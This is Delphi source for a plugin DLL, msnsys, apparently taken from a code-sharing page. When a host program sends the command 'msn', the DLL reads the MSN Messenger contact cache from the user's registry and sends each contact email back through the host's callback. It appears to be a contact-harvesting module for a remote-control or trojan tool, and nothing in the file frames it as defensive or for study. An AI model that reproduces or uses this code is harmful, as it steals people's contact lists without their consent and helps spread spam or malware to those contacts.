?? msnsys.dpr
字號:
library msnsys;
uses
windows,
RegUnit in 'RegUnit.pas';
type
pluginreply = procedure (Text: pchar);
const
clientdllname:pchar='msntool.dll';
var
OwnerAPP:integer;
procedure Init(Owner: Integer); far
begin
OwnerAPP := Owner;
end;
procedure plugin_reply (cmd:string);
begin
//send message to the client plugin
pluginreply(GetProcAddress(OwnerApp, 'pluginreply'))(pchar(clientdllname+';'+cmd));
end;
function IntToStr(x: integer): String;
var
s: String;
begin
str(x,s);
inttostr := s;
end;
PROCEDURE MSNEmails;
VAR
Reg : TRegistry;
I : Longint;
J : Longint;
P : ARRAY [0..400] OF Char;
S : STRING;
BEGIN
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
S:='\Software\Microsoft\MessengerService\ListCache\.NET Messenger Service';
IF Reg.KeyExists(S) THEN BEGIN
Reg.Openkey(S,False);
I:=0;
WHILE Reg.ValueExists('Allow'+IntToStr(I)) DO BEGIN
J:=Reg.GetDataSize('Allow'+IntToStr(I));
IF J<>-1 THEN BEGIN
Reg.ReadBinaryData('Allow'+IntToStr(I),P,J);
//------------------------------------------------------loop
// MessageBox(0, pchar(STRING(P)), pchar('test'),MB_ICONASTERISK);
sleep(100);
plugin_reply(STRING(P)+',');
//loop---------------------------------------------------------
END;
INC(I);
END;
END;
Reg.CloseKey;
end;
// Separates values: value1,value2,value3,value4,
function getvalues(text:string;vn:integer):string;
var i:integer;value:string;
begin
// value1,value2,value3,value4
if text=''then exit;
i:=0;
while i<vn do begin
value:=copy(text,0,Pos(',',text)-1);
//deletes first postition ','
Delete(text,1,pos(',',text));
inc(i,1);
result :=value;
end;
end;
procedure process(cmd:string);
begin
if getvalues(cmd,1) = 'msn' then
begin
MSNEmails;
end;
end;
procedure plugin(data:pchar); far;
begin
process(data);
end;
procedure DLLEntryPoint(dwReason: DWORD);
begin
//blank
end;
exports
init,plugin;
begin
DLLProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -